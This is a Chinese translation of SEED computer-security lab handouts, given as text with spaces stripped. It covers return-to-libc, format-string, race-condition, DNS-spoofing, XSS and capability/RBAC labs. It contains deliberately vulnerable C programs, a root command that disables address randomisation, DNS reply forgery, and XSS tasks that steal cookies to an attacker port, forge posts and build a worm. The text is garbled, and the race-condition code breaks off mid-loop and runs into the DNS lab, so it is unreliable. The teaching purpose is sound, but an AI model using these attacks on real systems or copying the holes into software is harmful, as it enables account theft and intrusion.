$exportMYSHELL=/bin/sh我们将用这个变量的地址作为system()调用的一个参数,用以下程序可以容易地找出这个变量在内存中的位置;voidmain(){char*shell=getenv("MYSHELL");if(shell)printf("%x\n",shell);}如果地址随机化被关闭,那么你会发现同样的地址被打印出来.
然而,当你运行漏洞程序retlib时,环境变量的地址可能并不与你运行上述程序得到的地址完全一致,这一地址甚至在你改变程序名时也会改变(文件名中字符数使之不同).
好消息是,shell的地址将十分接近你用上述程序打印出的地址.
因此,你可能需要多试几次才能成功.
3.
3理解栈要想知道如何进行return-to-libc攻击,必须理解栈的工作机制.
我们将用一个小的C程序计算机安全教育实验21来理解栈里函数调用的作用.
/*foobar.
c*/#includevoidfoo(intx){printf("Helloworld:%d\n",x);}intmain(){foo(1);return0;}我们可以使用gcc-Sfoobar.
c编译这个程序汇编代码,生成的foobar.
s文件如下:3.
4调用并进入foo()当调用foo()时让我们把注意力集中到栈上,之前我们都可以忽视栈.
请注意,以下解释中使用的是行号而不是命令地址.
28-29行:这两个语句将value1即foo()的参数压入栈顶.
这一操作使栈指针esp加4.
执行这两个语句后栈如图1(a)所示;计算机安全教育实验2230行:调用foo:这一语句将紧随调用语句的下一个命令的地址压入栈顶(即返回地址),然后跳转到foo()代码.
此时栈如图1(b)所示;9-10行:foo()函数的第一行将ebp压入栈顶,保存上一帧的指针.
第二句使ebp指向当前帧,此时栈如图1(c)所示;11行:subl$8,%esp:为给本地变量分配空间,栈指针被修改,见图1(d).
图1:进入和离开foo()3.
5离开foo()现在控制已经通过foo()函数内部,让我们看看当函数返回时栈发生了什么.

16行:leave:这一指令暗含地执行了两条指令(在早期的x86版本中它是一个宏,但是后来被做成了一条指令):mov%ebp,%esppop%ebp第一个语句释放了为函数分配的栈空间,第二个语句覆盖了前一帧指针.
此时栈如图1(e)所示;17行:ret:这一指令将返回地址弹出栈,然后跳转到返回地址.
此时栈如图1(f)所示;32行:addl$4,%esp:通过释放更多为foo分配的内存空间进一步存储栈.
你可以清楚地看到栈现在和进入foo函数之前完全一样了(即第28行之前).
计算机安全教育实验23参考书目[1]c0ntextBypassingnon-executable-stackduringexploitationusingreturn-to-libchttp://www.
infosecwriters.
com/textresources/pdf/return-to-libc.
pdf[2]PhrackbyNergalAdvancedreturn-to-libcexploit(s)Phrack49,Volume0xb,Issue0x3a.
Availableathttp://www.
phrack.
org/archives/58/p58-0x04计算机安全教育实验24格式化字符串漏洞1实验概述本实验的学习目标是,让学生通过将在课堂上学到的关于漏洞的知识投入实际行动,获得关于格式化字符串漏洞的第一手经验.
格式化字符串漏洞是由像printf(user_input)之类代码引起的,这里user_input变量的内容由用户提供.
当这个程序由特权运行(例如Set-UID程序),这个printf会导致以下情况之一:(1)程序崩溃;(2)从内存任意位置读取;(3)修改任意内存位置的值.
这里的练习是为让学生理解这一漏洞而设计.
应该注意,这个实验的输出依赖于操作系统,我们的描述和讨论是基于FedoraLinux(Core4),如果你使用了不同的操作系统,可能会出现不同的情况和问题.
2实验任务2.
1任务1在下面的程序中,你将被要求提供一个输入,它将被存放在一个叫做user_input的缓冲区中.
接下来程序用printf打印出此缓冲区.
这个程序是一个Set-UID程序(有效执行用户是root),即它用root权限运行.
不幸的是,在用户输入调用printf的途径中有一个格式化字符串漏洞.
我们想要攻击这个漏洞,看看能造成多大的损害.
这个程序有两个secret值存在它的内存里,你对这两个值很感兴趣.
然而,你不知道这两个值,也不能从二进制代码中找到它们(为简化,我们用常数0x44和0x55将这两个secret值硬编码).
尽管你不知道secret值,在实践中,找到它们的内存地址(范围或确切地址)并不困难(它们的地址是连续的),因为对于许多操作系统而言,任何时候运行程序地址都是完全一样的.
本实验中,我们假设你已经知道了确切地址.
为达到这个目的,程序"故意"为你打印出地址.
有了这些知识,你的目标如下(不需要同时完成):(25分)使程序崩溃(25分)打印出secret[1]的值(25分)修改secret[1]的值(25分)将secret[1]的值修改为一个预先设定的值注意到(Set-UID)程序的二进制代码对你仅仅是可读/可执行,你无法修改.
也就是说,你不能通过修改代码达到上述目标.
然而,你有一份源码的拷贝帮助你设计攻击.

Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验25/*vul_prog.
c*/#defineSECRET10x44#defineSECRET20x55intmain(intargc,char*argv[]){charuser_input[100];int*secret;intint_input;inta,b,c,d;/*othervariables,notusedhere.
*//*Thesecretvalueisstoredontheheap*/secret=(int*)malloc(2*sizeof(int));/*gettingthesecret*/secret[0]=SECRET1;secret[1]=SECRET2;printf("Thevariablesecret'saddressis0x%8x(onstack)\n",&secret);printf("Thevariablesecret'svalueis0x%8x(onheap)\n",secret);printf("secret[0]'saddressis0x%8x(onheap)\n",&secret[0]);printf("secret[1]'saddressis0x%8x(onheap)\n",&secret[1]);printf("Pleaseenteradecimalinteger\n");scanf("%d",&int_input);/*gettinganinputfromuser*/printf("Pleaseenterastring\n");scanf("%s",user_input);/*gettingastringfromuser*//*Vulnerableplace*/printf(user_input);printf("\n");/*Verifywhetheryourattackissuccessful*/printf("Theoriginalsecrets:0x%x--0x%x\n",SECRET1,SECRET2);printf("Thenewsecrets:0x%x--0x%x\n",secret[0],secret[1]);return0;}提示:从打印信息你可以发现secret[0]和secret[1]位于堆,即实际地址在堆中.
我们也知道第一个secret(即变量secret的值)的地址可以在栈中找到,因为变量secret位于栈中.
换句话说,如果你想重写secret[0],它的地址已经在栈中,你的格式化字符串可以利用这一信息.
然而,尽管secret[0]就在secret[1]后面,但在栈中它的地址无效.
这对于你的格式化字符串攻击是一个重大的挑战,为了修改secret[1],你需要找出它的确切地址.
计算机安全教育实验262.
2任务2如果第一个scanf语句(scanf(''%d'',intinput))不存在,即程序不让你输入一个整数,对于已经实现地址随机化的操作系统而言,任务1中的攻击将会变得更加困难.
注意secret[0](或secret[1])的地址.
当你再次运行程序,能否得到同样的地址地址随机化的引入使得许多攻击变得困难,如缓冲区溢出、格式化字符串等.
由于地址随机化的思想,在本次任务中我们将关闭地址随机化,看看对之前的漏洞程序(没有第一句scanf语句)进行格式化字符串攻击是否依然困难.
你可以使用以下命令关闭地址随机化(注意需要用root账号运行):sysctl-wkernel.
randomize_va_space=0关闭地址随机化后,你的任务是重复任务1里的攻击,但是需要删除漏洞程序里的第一个scanf语句(scanf(''%d'',intinput)).
如何让scanf接受任意数字通常,scanf将会为你停顿,打印输入.
有时,你想要编程得到一个数0x05(不是字符"5"),不幸的是,当你将"5"作为输入,scanf实际得到的是5的ASCII值0x35,而不是0x05.
挑战在于,在ASCII码中,0x05不是一个可识别类型字符,所以我们输入不了这个值.
这个问题的一个解决办法是使用文件.
我们可以很容易地写一个C程序将0x05(不是"5")存入一个文件(我们叫它mystring),然后运行输入被重定向到mystring的漏洞程序(我们叫它a.
out).
换句话说,运行a.
out#include#includeintmain(){charbuf[1000];intfp,size;unsignedint*address;/*Puttinganynumberyoulikeatthebeginningoftheformatstring*/address=(unsignedint*)buf;*address=0x22080;计算机安全教育实验27/*Gettingtherestoftheformatstring*/scanf("%s",buf+4);size=strlen(buf+4)+4;printf("Thestringlengthis%d\n",size);/*Writingbufto"mystring"*/fp=open("mystring",O_RDWR|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR);if(fp!
=-1){write(fp,buf,size);close(fp);}else{printf("Openfailed!
\n");}}3作业提交你需要提交一份详细的实验报告,描述你所做的工作及观察到的现象,并对有趣的现象做出解释.
计算机安全教育实验28竞争条件漏洞实验1实验描述1.
1漏洞程序竞争条件是系统中的一种反常现象,即输出取决于输入的序列或时间,当攻击者利用它获得进入系统的许可时变为一个漏洞.
考虑以下看起来无害的程序:/*vulp.
c*/#include#include#defineDELAY10000intmain(){char*fn="/tmp/XYZ";charbuffer[60];FILE*fp;longinti;/*getuserinput*/scanf("%50s",buffer);if(!
access(fn,W_OK)){/*simulatingdelay*/for(i=0;i"Administration"->"Network",双击网络设备(例如eth0),然后双击"AutomaticallyobtainDNSinformationfromprovider".
3.
2使用嗅探进行DNSID欺骗在本攻击中,受害者的机器还没有被入侵,所以攻击者不能在其机器上重定向DNS请求过程.
然而,若攻击者和受害者处于同一本地局域网,他们仍然可以造成巨大的破坏.

当一个用户在web浏览器键入一个网址(一个主机名,如www.
chase.
com),用户的机器将向DNS服务器发出一个DNS请求来解析主机名的IP地址.
当监听到这个DNS请求,攻击者将编造一个假的DNS应答.
一个假的DNS应答如果符合以下标准将会被用户机接受:1、源IP地址必须与DNS请求被送往的IP地址相匹配2、目的IP地址必须与DNS请求送来的IP地址相匹配;3、源端口号(UDP端口)必须与DNS请求被送达(通常是53号端口)的端口号相匹配;4、目的端口号必须与DNS请求送来的端口号相匹配;5、UDP校验和的计算必须正确无误;计算机安全教育实验406、传输ID必须与DNS的传输ID相匹配;7、答复询问部分的域名必须与请求询问部分的域名匹配;8、答复部分的域名必须与DNS请求询问部分的域名匹配;9、用户电脑必须在收到合法的DNS响应之前收到攻击者的DNS应答.
满足了1到8的条件,攻击者就可以嗅探到受害者发送的DNS请求信息,然后就可以创建一个伪造的DNS响应,在真正的DNS服务器响应之前,发送给受害者.
Netwoxtool105工具提供了执行嗅探和响应的应用.
3.
3DNS通配符攻击DNS通配符是DNS配置文件中的特殊表项,用来处理容器名称解析.
例如,下面的表项就是一个通配符入口:*.
example.
com.
INA128.
230.
212.
170;modifyIPaddressasrequiredexample.
com域中所有的主机名,例如,www.
mybank.
com.
pharmer.
example.
com,如果没有更好的匹配,将被映射到128.
230.
212.
170,在本次攻击中,攻击者向受害者发出一个很长的URL,就如上面用到的那个.
受害者通常被这个URL的第一部分所欺骗,那是一个真正的网站名字.
然而,如果受害者点击此链接,DNS请求将发往攻击者的DNS服务器,会返回一个恶意网站的IP地址.
攻击者将使虚假网页看起来和来自www.
mybank.
com的一样,如果受害者输入密码,他们的密码将暴露给攻击者.
使用DNS通配符配置,攻击者可以构建许多不同的误导URL.
4.
作业提交你需要提交一份详细的实验报告,描述你做了什么和观察到什么,并提交wireshare/ethereal记录来支持你的看法.

参考书目[1]BIND9AdministratorReferenceManual:http://www.
bind9.
net/manual/bind/9.
3.
2/Bv9ARM.
ch01.
html[2]PharmingGuide:http://www.
ngssoftware.
com/papers/ThePharmingGuide.
pdf计算机安全教育实验41跨站脚本(XSS)攻击实验1.
概述跨站脚本是一种典型出现在web应用程序中的计算机安全漏洞.
这种漏洞使攻击者注入恶意代码(例如,java脚本)到受害者的web浏览器成为可能.
利用恶意代码,攻击者窃取受害者的证书,像cookies.
浏览器的用来保护证书的访问控制协议(像同源协议)能被发现的XSS漏洞绕过.
这种漏洞被用来进行强大的钓鱼攻击和挖掘浏览器漏洞.

为了演示攻击者利用XSS漏洞能做什么,我们利用phpBB建立了一个基于WEB的信息公告版,这种漏洞允许用户肆意发布消息,包括java脚本.
学生需要利用漏洞发布一些恶意消息到信息板上,查看这些信息的用户将成为受害者.
攻击者的目标是向受害者发布伪造信息.

2.
实验环境实验所需的web应用程序可以在http://128.
230.
209.
203/phpBB2/访问.
每个学生被分配一个其他学生无法访问的私有论坛,还给每个学生分配两个用户名和密码:一个作为攻击者,另外一个当作受害者.
我们将提供以下项来帮助学生执行攻击:1.
演示如何发布恶意消息的JavaScript样本.
2.
伪造httppost消息的perl脚本样本.
3.
一个侦听端口和显示所有请求的TCP程序.
3.
实验任务3.
1在警告窗口中显示一条恶意消息任务的目标是发布一条包含JavaScript的恶意消息,使之显示一个警告窗口.

JavaScript应该和用户在消息中的评论一起提供.
以下的JavaScript将显示一个警告窗口:alert('XSS');如果你在消息板中将这个JavaScript和你的评论一起发布,所有浏览这则评论的用户都Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验42将看到这个警告窗口.
3.
2发布一则恶意消息显示Cookies任务的目标是在消息板上发布一则包含JavaScript代码的恶意消息,利用web应用程序为特定用户打印cookies集.
例如,考虑以下包含JavaScript的消息:alert(document.
cookie);HelloEverybody,Welcometothismessageboard当一个用户看到这则消息,他/她将看到一个显示用户cookie信息的弹出式消息框.

3.
3从受害者机器中窃取Cookies任务的目标是将cookies发送给攻击者,做到这些的唯一方法是发送一个包含cookies的Http请求给攻击者.
我们可以通过在恶意JavaScript中插入一个指向攻击者目的URL的标签和src来实现.
当JavaScript插入img标签,浏览器试图从提到的URL下载图像,在此过程中结束给攻击者网站发送HttpGET请求.
下面给出的JavaScript发送cookies给攻击者机器上的5555端口.
在另外一个端口,攻击者利用一个TCP服务器简单地打印收到的请求信息.
TCP程序将会给你.
HelloFolks,document.
write('');ThisscriptistotestXSS.
Thanks.
3.
4利用窃取的cookies模拟活动的用户任务的目标是伪造代表另外一个用户的消息.
你应该从看到这则消息的用户中窃取cookie信息,然后替他/她发布消息.
为了伪造Http消息,你应该首先识别所有Http消息的参数,因此,你得先分析web应用程序和收到的Http请求.
你可以用firefox的LiveHttpHeaders插件来分析Http消息.
当浏览器发送一个Http请求,LiveHttpHeaders显示整个消息的内容,你可以识别消息中的所有参数.

图1给出的是LiveHttpHeaders的屏幕快照.
LiveHttpHeadersfirefox插件可以从htttp://livehttpheaders.
mozdev.
org/下载.
在识别了所有参数之后,你可以利用窃取的证书伪造消息发布的Http请求.
一个发送http请求的perl脚本框架将会给你,你需要在其中添加一些元素和伪造一个web应用程序请求.

你可以利用以下在CPAN站点上的参考来理解这些功能:http://search.
cpan.
org/gaas/libwww-perl-5.
805/lib/LWP/UserAgent.
pm计算机安全教育实验43图1:LiveHttpHeaders的屏幕快照3.
5写一个XSS蠕虫在之前的任务中,你已经学会如何从受害者那里窃取cookies和利用窃取的cookies伪造HTTP请求.
本任务中,你需要写一个直接在受害者浏览器中伪造HTTP请求的恶意JavaScript.
这种攻击不需要攻击者的介入,能实现这种攻击的JavaScript叫做跨站脚本蠕虫.

对于这种web应用程序,蠕虫程序需要做以下几点:1.
使用JavaScript取回用户的会话ID.
2.
伪造HTTP请求以使用会话ID发布消息.
我们建议你阅读以下文章,学习基本的JavaScript功能,你将必须使用其中的一些功能:http://www.
hunlock.
com/blogs/Essential_Javascript_-_A_Javascript_Tutorialhttp://www.
hunlock.
com/blogs/The_Complete_Javascript_Strings_Reference发送HTTP消息,你需要使用XMLHttpRequests对象,利用此对象你可以发送web应用程序的HTTPGET和POST请求.
XMLHttpRequests能发送HTTP请求到特定的网页站点.
XMLHttpRequests需要严格执行同源协议.
在这里,是对同一网站的HTTP请求,因此我们可以使用XMLHttpRequests.
以下参考资料将会帮助你熟悉XMLHttpRequests对象:http://www.
hunlock.
com/blogs/AJAX_for_n00bshttp://www.
hunlock.
com/blogs/AJAX_POST-It_NotesFirebug是一个帮助你调试JavaScript的firefox插件,它可以帮你准确定位包含错误的位置.

Firebug可以从https://addons.
mozilla.
org/en-US/firefox/addon/1843下载.
计算机安全教育实验444.
作业提交你需要提交一份详细的实验报告,描述你做了什么和观察到什么,还需要提供对你观察到的有趣的或者惊讶的事情的解释.
另外,你需要发布一则包含XSS蠕虫的消息,我们会检查你的蠕虫是否起作用.
计算机安全教育实验45结合权能和RBAC实验1实验描述实验的学习目标是使学生利用集成权能和基于角色的访问控制的访问控制机制来增强系统安全.
学生将实现一个简化的,对Minix进行基于权能和基于角色的访问控制.

我们对RBAC的简化是基于在NIST[1]中提到的RBAC标准的.
2实验任务2.
1权能(50分)在一个权能系统中,一个进程创建时,就用一组权能(令牌)初始化它.
当进程试图访问一个对象时,操作系统检查该进程的权能,决定是否授予它访问权限.
本次实验,我们定义了80个权能,但只有6个是有意义的,需要予以实现,其他的不要求实现.

1.
CAPALL:这种权能重写所有限制,等同于传统的root特权.
2.
CAPREAD:允许读文件和目录.
它可重写文件和目录存取控制列表(ACL)的阅读限制.
3.
CAPCHOWN:重写对文件和组所有权进行变更的限制.
4.
CAPSETUID:允许将有效用户变为另一个用户.
我们知道,当有效用户id不是根用户时,调用setuid()和seteuid()更改有效用户会受到一定限制,此项权能重写了这些限制.

5.
CAPKILL:允许结束任何进程.
它重写一个进程真正的或有效的用户id发出信号必须与其接受信号相匹配的限制.
6.
CAPROLEDelegate:这个权能和角色有关,将在RBAC部分讨论.
7.
CAP7,CAP80:这些是假权能,他们不会影响访问控制,我们只是设想这些权能会影响访问控制.
我们想借用实验中的权能的标号使得管理(下一部分)更有趣.

你需要说明这些权能是如何影响你的访问控制的.
虽然假权能将不会影响到访问控制,但是他们需要被包括在你的系统里,我们可以为它们在RBAC中指派角色.
而且,你需要展示它们在你的说明中存在.
一个可能的方法是实现一个能被管理员用来打印任意进程的权能Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验46的机制.
2.
2使用RABC管理权能(50分)由于有很多权能(80)和用户,很难管理权能和用户的关系.
在用户要对特权级别频繁改动的动态系统中,这种管理问题更为突出.
例如,一个用户在他的管理岗位上拥有一个管理者的特权,但是,时不时的,他必须执行非管理者的任务,而执行这些任务是不需要管理者特权的.
他必须放弃他的管理者特权来执行这些任务,但可能很难知道放弃那个特权.
基于角色的访问控制很好的解决了这一问题.
RBAC(基于角色的访问控制),由Ferraiolo和Kuhn在1992年提出,已经成为先进的访问控制模型,因为它降低了大型应用程序的复杂度和安全管理的代价.
大多数信息技术厂商已经将RBAC纳入他们的产品线,这项技术的应用领域从健康医疗到国防,还有设计的主流商业系统.
RBAC已经在FedoraLinux和TrustedSolaris上实现.
有了RBAC,我们不再将权能直接分配给用户,相反,我们使用RBAC来管理用户获得的权能.
RBAC引入了角色的概念,权能分配给角色,角色分配给用户.
本次实验中,学生需要为Minix实现RBAC.
具体的RBAC模型是基于RBAC标准[1].
(A)核心RBAC.
核心RBAC包括五个基本的数据元素分别叫做用户(USERS),角色(ROLES),对象(OBS),操作(OPS),和权限(PRMS).
本次实验中,权限就是权能,权能由一个元组(OPS,OBS)组成.
核心RBAC也包括会话(SESSIONS),每个会话是一个用户和一个活动的分配给用户的角色的映射.
每个会话和单个用户联系,每个用户和一个或者多个会话联系.
本次实验中,我们使用登录会话作为RBAC会话,也就是说,当用户登录到系统中(例如通过登录),一个新的会话就创建了,所有在登录会话中的进程属于同一个RBAC会话.

当用户退出,相关的RBAC会话将会结束.
一个用户可以同时运行多个登录会话,这样就有多个RBAC会话,每个会话都有不同的角色集.
在Minix中,我们最多可创建4个登录会话,分别使用ALT-F1,ALT-F2,ALT-F3,和ALT-F4.
基于这些基本的RBAC数据元素,你应该实现以下功能:角色的创建与维护:系统中的角色是不能被固定死的;管理员应该能添加/删除角色.
为了简化实现,我们假设角色的添加和删除只在系统重启后才起作用.
但是,建议你不要做这样的简化.
关系的创建与维护:主要的核心RBAC关系是(a)用户-角色分配关系(UA),和(b)权限-角色分配关系(PA).
请注意UA和PA关系都可以在运行时间内被修改,但对UA和PA关系的改变将不会影响现存的会话,它只影响新会话.
–更新PA关系:一个特权用户应该能添加或者删除角色的权限,这种修改是不断地,即关系将一直维持到系统关闭.
–更新UA关系:一个特权用户应该能添加或者删除一个角色的用户,类似PA关系,这种修改是持续不断地.
你需要注意以下情形:如果一些进程(可能是Unix操作系统中的)在用户退出时被留下,这些进程将会发生什么它们仍然拥有与原始会话相关的特权吗考虑到这个问题,你需要在你的报告中描述和验证你的设计决定.
计算机安全教育实验47–分配/撤销角色分配和撤销时另外一种更新UA关系的方式.
一个拥有CAP_ROLE_Delegate权能的普通用户应该能分配自己的角色给其他用户,也能撤销已分配的角色.
当一个角色分配给用户,新的用户-角色实例被创建,此实例影响用户的新会话,但是这种用户-角色实例是短暂的,如果系统关闭它将会消失.
分配角色的用户可以随后撤销这些角色.
你需要在你的描述中考虑到撤销问题,但是由于撤销的实现很复杂,你不需要实现撤销功能.
对于实现撤销功能的我们给予10分的奖励.
启用/禁用/释放角色:当用户启动一个新会话,所有用户的角色将处于禁用状态(我们称作非活动角色),即这些角色将不会受访问控制影响.
用户需要特别地启动这些角色.
启动的角色被称作活动角色.
需支持以下功能:–在会话期间,用户能启用和禁用任何角色.
和角色启用、禁用相关的功能分别是EnableRole和DisableRole.
DisableRole功能不能永久丢弃一个角色,它只是使角色成为非活动的.
–如果会话不再需要一个角色,它就可以使用DropRole永久放弃该角色.
一旦角色被从会话中释放,就无法使用户在当前会话中重新获得它,但新的会话将仍然拥有这角色.

(B)职责分离:职责分离关系经常用来实施利益冲突协议,组织可能采用它们防止用户使用超过相应位置权利的合理水平.
NISTRBAC标准定义了两种职责分离关系类型:静态职责分离(SSD)和动态职责分离(DSD).
SSD实施了用户角色分配的职责分离限制,例如,角色的成员关系防止用户是一个或者多个角色的成员,取决于实施的SSD规则.
DSD允许用户被分配相冲突的角色,但必须确保这些冲突角色不是同时被激活的.
在实验中,你的系统需要支持SSD和DSD规则.
SSD和DSD协议(例如,规则)由系统管理员设定.
你可以给这些协议定义你自己的格式,而且你可以决定在哪儿存储这些协议,如何有效地检测这些协议,和如何更新这些协议.
我们也假设任何协议的更新只影响新会话和未来执行的操作.
识别在哪SSD和DSD协议被检测是很重要的.
SSD协议需要在每次角色分配时被检测.
有两种地方将角色添加给用户:一种是被特权用户执行时.
为了简化设计.
你可以延迟SSD的执行直到用户创建一个新会话(例如,登录),而不是在特权用户增加角色的时候.
另一种地方角色被添加进一个通过授权的用户.
你需要确保任何违背SSD协议的授权是失败的.
DSD协议需要在每次角色成为活动时被检测.
只有一种地方角色能成为活动的,那就是当EnableRole被调用时.
注意以前的陈述是对的,因为所有的角色在开始都处于禁用状态,包括那些从其他用户那里分配的角色.
2.
3支持Set-UID机制有时,执行一个操作,用户可能需要附加的角色.
为了启用这个操作,我们分配这些角色给用户,但是,一旦角色分配给用户,我们就不能阻止用户使用这些角色进行不期望的操作.
一个解决此难题的方案就是运用Set-UID机制,也即我们标记某种程序为Set-UID程序.
无论谁运行Set-UID程序都将带着程序所有者角色运行.
为了允许每个人运行特权程序,例如,他们可以把启动命令放在.
log文件里.
计算机安全教育实验48我们识别所有需要使程序成功运行的角色.
然后,我们创建一个新用户U,分配所有这些角色给U.
我们使成为特权程序的所有者,打开Set-UID位.
任何运行这个特权程序的用户都将带着U的角色运行这个程序,而不是他自己的角色.
由于RBAC,Minix中的Set-UID机制需要被修改以支持RBAC.
而且,setuid()系统调用的行为也要修改.
如果你的实现正确,所有的Set-UID程序在原来的Minix系统中都应该和往常一样工作.
上述方法是非常繁琐的,因为需要创建一个新的用户账户.
一种更好的方式是允许一个特权用户(系统管理员)关联某种角色到Set-UID程序,这样无论什么时候其他用户执行程序,它都和相关的角色关联.
这种方法的挑战在于找到一个地方存放角色信息.
一个好的选择是i-nodes.
对于实现了这种较好方式的同学我们将会给予10分的奖励.
2.
4实现策略可以在假设所有的权能是假的前提下开始你的设计和实现,也即,不要关注这些权能如何被系统检测.
这样会使你的生活变得更轻松.
你假设权能会最终被访问控制使用.
这种方式,你可以重点关注怎样在Minix中启用RBAC和权能,这样当访问控制需要使用这些权能时,你可以以一种有效地方式找到这些权能.
你需要能独立测试你的实现,而不去关心权能的真假.
当然,你需要实现一些外围调用程序,用来打印出会话和进程的角色和权能信息.
在你的RBAC部分实现和完全测试之后,你将重点放在权能部分.
特别地,你需要修改Minix的访问权限,这样非假权能可以实际上的影响访问控制.
3设计和实现问题本次实验中,你需要作许多设计选择.
你的选择必须是合理的,合理性需要包括在实验报告中.
3.
1初始化当用户登录进系统,新的会话被初始化.
初始化时有两个重要的问题需要你考虑:(1)此会话在那里获得初始角色(2)哪个程序分配这些角色给这个会话.
你可能需要查看一下usr/src/commands/simple目录下的login.
c文件.
3.
2进程或者会话中的权能/角色你需要考虑以下和进程相关的问题:自从权能被系统用来做访问控制,操作系统需要知道进程有什么权能.
我们如何让操作系统认识权能.
是应该每个进程只用带角色信息,还是角色和权能都得带有,还是只带有权能信息你需要在你报告中验证你的设计决策.
你将角色/权能信息存放在哪它们能存储在内核空间(例如,权能链表),用户空间(例如,加密令牌),或者两种空间(像文件描述符的实现,实际的权能存储在内核计算机安全教育实验49空间,权能的指针被复制到用户空间).
你使用哪种设计你需要在实验报告中验证你的决策.
你需要学习与进程相关的数据结构.
它们在三个地方定义:文件系统(/usr/src/servers/fs),进程管理(/usr/src/servers/pm),内核(/usr/src/kernel).
新创建的进程如何获得它的角色当系统启动,一些进程将被创建(例如,文件系统进程和内存管理进程),他们需要拥有角色信息吗3.
3使用权能进行访问控制当一个进程试图访问一个对象,操作系统检查进程的权能,决定是否允许访问.
以下问题将给你一些如何设计实现这样的访问控制系统的提示.
为了检查权能,你需要修改在Minix内核中的一些地方,要小心,不要遗漏任何地方,否则在你的系统中将会有漏洞.
请在你的实验报告中描述这些地方和你的验证.

在哪儿检查权能在这里,你应该考虑应用参考监视原则.
实验中实现的权能和Minix中存在的ACL访问控制机制并存.
你如何处理它们的关系例如,如果一个进程拥有要求的权能,但是ACL拒绝访问,允许访问吗另一方面,如果进程没有需要的权能,但是ACL允许访问,允许访问吗你需要在你的报告中验证你的决策.
Root特权:超级用户root仍然拥有所有权利(例如,拥有CAPALL)这是你的设计决策,请验证你的决策.
兼容性问题:请记住将会有一些进程(特别是在启动期间创建的进程)并不是权能使能的.
权能机制的附加可能会使得这些进程无法正常工作,因为它们根本没有执行任何权能.
你需要寻找一个解决方法来使你的权能系统与这些进程相兼容.

3.
4帮助文档我们已经在实验的网页上链接了一些帮助文档.
请一定进行阅读,因为这些文档可以节省你大量的时间.
这些文档涵盖了以下一些主题的内容:(1)如何增加新的系统调用(2)系统调用如何被调用(3)文件系统进程及内存管理进程中的进程表.
重要提醒:请记得在你做更改之前备份有效的启动镜像;修改内核程序也许会使你的系统经常崩溃.
4作业提交和演示请提交一份实验报告,详细描述你的实验设计和实施过程.
在实验报告中你需要说明如何测试系统的功能和安全性.
另外,本实验需要演示系统,请和助教约好演示时间,演示过计算机安全教育实验50程中请注意以下几点:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

参考文献[1]D.
F.
Ferraiolo,R.
Sandhu,S.
Gavrila,D.
R.
Kuhn,andR.
Chandramouli.
ProposedNISTstandardforrole-basedaccesscontrol.
ACMTransactionsonInformationandsystemSecurity,4(3):224–274,August2001.
计算机安全教育实验51权能实验1实验描述本实验通过应用权能概念,提高学生对系统安全的认识.
在UNIX环境中,有一些特殊的程序(例如,Set-UID程序),即使是普通用户在使用,它们也以root(即系统管理员)运行;即正在运行的程序拥有所有root的特权,尽管事实上并非所有的这些特权都是需要完成预定任务所必须的.
这种设计显然违反了最小权限的工程设计原则,最小特权原则.
由于违规行为,如果这些程序中有漏洞,攻击者可以利用这个漏洞并滥用root特权.

权能可以用来取代Set-UID机制.
在trustedSolaris8系统中,root的特权分为80个规模较小的权能.
每个需要特权的程序,只需被分配必要的权能而不是root权限.
在Linux系统上也开发有类似的权能系统.
在本实验中,我们将实现一个简化的Minix权能系统.
2实验任务在一个权能系统中,当一个程序被执行,相应的进程用权能列表(令牌)进行初始化.

当进程试图访问一个对象时,操作系统应检查进程的权能,并决定是否授予权限.

2.
1所需的权能(60分)为了使这个实验在一个较短的时间内完成,我们只定义了5种权能.
由于做了简化,这5项权能并不能覆盖root的所有权限,所以它们不能完全替代Set-UID.
它们只能用于只需要我们定义的权能的子集的特权程序.
对于这些程序,它们并不需要配置Set-UID程序;相反,它们可以利用我们的权能系统.
以下是实施这一实验所需要的权能:1.
CAP_READ:允读文件和目录.
它覆盖了ACL读文件和目录的限制.
2.
CAP_CHOWN:覆盖了改变文件和组的所有权的限制.
3.
CAP_SETUID:允许将有效的用户更改为另一个用户.
记得,当不是root的有效用户,调用了setuid()和seteuid()来改变有效用户会受到一定限制.
这种权能覆盖这些Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验52限制.
4.
